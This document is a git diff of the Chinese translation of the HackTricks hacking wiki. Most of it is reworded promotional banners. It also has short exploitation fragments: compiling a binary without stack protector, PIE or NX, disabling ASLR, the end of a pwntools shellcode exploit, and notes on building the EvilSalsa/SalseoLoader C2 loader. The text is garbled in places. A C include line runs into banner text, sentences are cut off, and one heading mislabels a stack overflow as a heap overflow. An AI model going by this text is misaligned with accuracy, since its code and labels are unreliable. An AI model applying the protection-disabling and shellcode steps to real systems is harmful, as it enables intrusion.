+ +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。 + +[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
## 基本信息
-**栈 Shellcode** 是一种在**二进制利用**中使用的技术，攻击者将 shellcode 写入一个易受攻击程序的栈中，然后修改**指令指针（IP）**或**扩展指令指针（EIP）**，使其指向该 shellcode 的位置，从而执行该 shellcode。这是一种经典方法，用于未经授权访问或在目标系统上执行任意命令。以下是该过程的详细说明，包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的利用程序。
+**Stack shellcode** 是一种用于 **二进制利用** 的技术，攻击者将 shellcode 写入易受攻击程序的栈中，然后修改 **指令指针 (IP)** 或 **扩展指令指针 (EIP)** 以指向该 shellcode 的位置，从而导致其执行。这是一种经典的方法，用于获得未授权访问或在目标系统上执行任意命令。以下是该过程的分解，包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的利用代码。
### C 示例：一个易受攻击的程序
-让我们从一个易受攻击的 C 程序的简单示例开始：
+让我们从一个简单的易受攻击的 C 程序示例开始：
```c
#include 从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！
+支持 HackTricks
-支持 HackTricks 的其他方式： - -* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。 -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。[**HackTricks培训AWS红队专家（ARTE）**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践GCP黑客技术：[**HackTricks培训GCP红队专家（GRTE）**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index 23e75bddb..678394693 100644
--- a/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -1,20 +1,21 @@
-# 栈 Shellcode - arm64
+# Stack Shellcode - arm64
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE (HackTricks AWS Red Team Expert)!
+支持HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。 -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
-在以下位置找到 arm64 的介绍：
+在以下内容中找到 arm64 的介绍：
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
@@ -35,19 +36,21 @@ vulnerable_function();
return 0;
}
```
-编译时禁用 PIE、Canary 和 NX：
+编译时不使用 pie、canary 和 nx：
{% code overflow="wrap" %}
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
-## 无 ASLR & 无 canary - 栈溢出
+{% endcode %}
-要停止 ASLR 执行：
+## 无 ASLR 和无 canary - 堆溢出
+
+要停止 ASLR，请执行：
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
-获取[**bof的偏移量请查看此链接**](../ret2win/ret2win-arm64.md#finding-the-offset)。
+要获取[**bof的偏移量，请查看此链接**](../ret2win/ret2win-arm64.md#finding-the-offset)。
利用：
```python
@@ -80,6 +83,21 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
-唯一“复杂”的事情在于找到调用栈中的地址。在我的情况下，我使用gdb找到地址生成了利用代码，但在利用时却没有成功（因为栈地址有些变化）。
+在这里唯一“复杂”的事情是找到调用的栈地址。在我的情况下，我使用 gdb 找到的地址生成了漏洞利用，但在利用时它没有成功（因为栈地址稍微改变了一下）。
-我打开了生成的**`core`文件**（`gdb ./bog ./core`）并检查了shellcode起始处的真实地址。
+我打开了生成的 **`core` 文件**（`gdb ./bog ./core`）并检查了 shellcode 开始的真实地址。
+
+{% hint style="success" %}
+学习和实践 AWS 黑客技术：从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！
+支持 HackTricks
-支持 HackTricks 的其他方式： - -* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/uninitialized-variables.md b/binary-exploitation/stack-overflow/uninitialized-variables.md
index 593d8bd13..d9677e2c8 100644
--- a/binary-exploitation/stack-overflow/uninitialized-variables.md
+++ b/binary-exploitation/stack-overflow/uninitialized-variables.md
@@ -1,39 +1,40 @@
# 未初始化变量
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：支持 HackTricks
+ +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。 + +[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
## 基本信息
-这里的核心思想是理解**未初始化变量的情况，因为它们将具有已分配给它们的内存中的值。** 例如：
+这里的核心思想是理解 **未初始化变量的行为，因为它们将具有分配给它们的内存中已经存在的值。** 示例：
-* **函数1：`initializeVariable`**：我们声明一个变量`x`并为其赋值，比如`0x1234`。这个操作类似于在内存中保留一个位置并放入一个特定的值。
-* **函数2：`useUninitializedVariable`**：在这里，我们声明另一个变量`y`，但不为其赋值。在C语言中，未初始化变量不会自动设置为零。相反，它们保留其内存位置上最后存储的任何值。
+* **函数 1: `initializeVariable`**：我们声明一个变量 `x` 并赋值，例如 `0x1234`。这个操作类似于在内存中保留一个位置并放入一个特定的值。
+* **函数 2: `useUninitializedVariable`**：在这里，我们声明另一个变量 `y`，但没有给它赋值。在 C 语言中，未初始化的变量不会自动设置为零。相反，它们保留最后存储在其内存位置的值。
-当我们**按顺序**运行这两个函数时：
+当我们 **顺序** 运行这两个函数时：
-1. 在`initializeVariable`中，`x`被赋予一个值（`0x1234`），它占据了一个特定的内存地址。
-2. 在`useUninitializedVariable`中，`y`被声明但没有被赋值，因此它占据了紧随`x`后面的内存位置。由于未初始化`y`，它最终“继承”了与`x`使用的相同内存位置中的值，因为那是那里的最后一个值。
+1. 在 `initializeVariable` 中，`x` 被赋值 (`0x1234`)，占用了一个特定的内存地址。
+2. 在 `useUninitializedVariable` 中，`y` 被声明但未赋值，因此它占据了紧接着 `x` 的内存位置。由于没有初始化 `y`，它最终“继承”了 `x` 使用的同一内存位置的值，因为那是最后一个在那里存在的值。
-这种行为说明了低级编程中的一个关键概念：**内存管理至关重要**，未初始化变量可能导致不可预测的行为或安全漏洞，因为它们可能无意中保留在内存中的敏感数据。
+这种行为说明了低级编程中的一个关键概念：**内存管理至关重要**，未初始化的变量可能导致不可预测的行为或安全漏洞，因为它们可能无意中保留了留在内存中的敏感数据。
-未初始化的堆栈变量可能会带来几个安全风险，例如：
+未初始化的栈变量可能带来几种安全风险，例如：
-* **数据泄露**：如果存储在未初始化变量中，诸如密码、加密密钥或个人详细信息等敏感信息可能会被暴露，使攻击者有可能读取这些数据。
-* **信息泄露**：未初始化变量的内容可能会透露有关程序内存布局或内部操作的详细信息，帮助攻击者开发有针对性的利用。
-* **崩溃和不稳定性**：涉及未初始化变量的操作可能导致未定义的行为，导致程序崩溃或结果不可预测。
-* **任意代码执行**：在某些情况下，攻击者可以利用这些漏洞来更改程序的执行流程，使其能够执行任意代码，其中可能包括远程代码执行威胁。
+* **数据泄露**：如果敏感信息如密码、加密密钥或个人详细信息存储在未初始化的变量中，可能会被暴露，允许攻击者潜在地读取这些数据。
+* **信息泄露**：未初始化变量的内容可能揭示程序的内存布局或内部操作的细节，帮助攻击者开发针对性的利用。
+* **崩溃和不稳定**：涉及未初始化变量的操作可能导致未定义的行为，从而导致程序崩溃或不可预测的结果。
+* **任意代码执行**：在某些情况下，攻击者可能利用这些漏洞来改变程序的执行流程，使他们能够执行任意代码，这可能包括远程代码执行威胁。
### 示例
```c
@@ -65,12 +66,27 @@ demonstrateUninitializedVar();
return 0;
}
```
-#### 工作原理：
+#### 这如何工作：
-- **`initializeAndPrint` 函数**：此函数声明一个整数变量 `initializedVar`，将其赋值为 `100`，然后打印变量的内存地址和值。这一步很简单，展示了一个初始化变量的行为。
-- **`demonstrateUninitializedVar` 函数**：在此函数中，我们声明一个整数变量 `uninitializedVar`，但没有对其进行初始化。当我们尝试打印其值时，输出可能显示一个随机数。这个数字代表先前在该内存位置的任何数据。根据环境和编译器的不同，实际输出可能会有所不同，有时为了安全起见，一些编译器可能会自动将变量初始化为零，但不应依赖于此。
-- **`main` 函数**：`main` 函数按顺序调用上述两个函数，展示了初始化变量和未初始化变量之间的对比。
+* **`initializeAndPrint` 函数**：该函数声明了一个整数变量 `initializedVar`，将其赋值为 `100`，然后打印该变量的内存地址和值。这一步很简单，展示了已初始化变量的行为。
+* **`demonstrateUninitializedVar` 函数**：在这个函数中，我们声明了一个整数变量 `uninitializedVar`，但没有对其进行初始化。当我们尝试打印其值时，输出可能会显示一个随机数。这个数字代表了之前在该内存位置的数据。根据环境和编译器，实际输出可能会有所不同，有时出于安全考虑，一些编译器可能会自动将变量初始化为零，但这不应被依赖。
+* **`main` 函数**：`main` 函数按顺序调用上述两个函数，展示了已初始化变量和未初始化变量之间的对比。
## ARM64 示例
-在 ARM64 中，本地变量也是在堆栈中管理的，因此这一点在 ARM64 中并没有改变，您可以[**检查此示例**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/)。
+在 ARM64 中这完全没有变化，因为局部变量也在栈中管理，你可以 [**查看这个示例**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) 来了解这一点。
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+
+{% endhint %}
diff --git a/c2/salseo.md b/c2/salseo.md
index a0388fbee..a900704b0 100644
--- a/c2/salseo.md
+++ b/c2/salseo.md
@@ -1,72 +1,71 @@
# Salseo
+{% hint style="success" %}
+学习和实践 AWS 黑客技术：支持 HackTricks
+ +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。 + +[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
## 编译二进制文件
从 github 下载源代码并编译 **EvilSalsa** 和 **SalseoLoader**。您需要安装 **Visual Studio** 来编译代码。
-为将要使用它们的 Windows 系统的架构编译这些项目（如果 Windows 支持 x64，请为该架构编译）。
+为您将要使用的 Windows 机器的架构编译这些项目（如果 Windows 支持 x64，则为该架构编译）。
-您可以在 Visual Studio 中的 **左侧 "Build" 选项卡** 中的 **"Platform Target"** 中**选择架构**。
+您可以在 Visual Studio 的 **左侧“生成”选项卡**中的 **“平台目标”** 选择架构。
-(\*\*如果找不到这些选项，请点击 **"Project Tab"**，然后点击 **"从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！
+支持 HackTricks
-支持 HackTricks 的其他方式： - -* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 HackTricks 的 PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。 -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/crypto-and-stego/certificates.md b/crypto-and-stego/certificates.md
index b7ec3e287..5b638a755 100644
--- a/crypto-and-stego/certificates.md
+++ b/crypto-and-stego/certificates.md
@@ -1,58 +1,59 @@
# 证书
+{% hint style="success" %}
+学习和实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索我们的独家[**NFTs**]收藏品，[**The PEASS Family**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客攻击：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/crypto-and-stego/esoteric-languages.md b/crypto-and-stego/esoteric-languages.md
index 65eb677f7..ce72749c9 100644
--- a/crypto-and-stego/esoteric-languages.md
+++ b/crypto-and-stego/esoteric-languages.md
@@ -1,20 +1,23 @@
-# 奇特语言
+# Esoteric languages
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持 HackTricks
-支持 HackTricks 的其他方式： - -* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。 -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
-## [奇特语言维基](https://esolangs.org/wiki/Main\_Page)
+## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
-查看该维基以搜索更多奇特语言
+查看该维基以搜索更多晦涩语言
## Malbolge
```
@@ -61,8 +64,6 @@ Whisper my world
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
-
-PETOOH（意为“鹦鹉”）是一种基于栈的编程语言，使用俄语单词作为指令。
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@@ -72,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+Support HackTricks
-* 您在**网络安全公司**工作吗？想要看到您的**公司在HackTricks中宣传**吗？或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs收藏](https://opensea.io/collection/the-peass-family) -* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com) -* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。** +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/crypto-and-stego/hash-length-extension-attack.md b/crypto-and-stego/hash-length-extension-attack.md
index 567c0e3b4..75e6a483c 100644
--- a/crypto-and-stego/hash-length-extension-attack.md
+++ b/crypto-and-stego/hash-length-extension-attack.md
@@ -1,88 +1,90 @@
-# 哈希长度扩展攻击
+# Hash Length Extension Attack
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks上做广告**吗？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family) -* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com) -* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧**。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
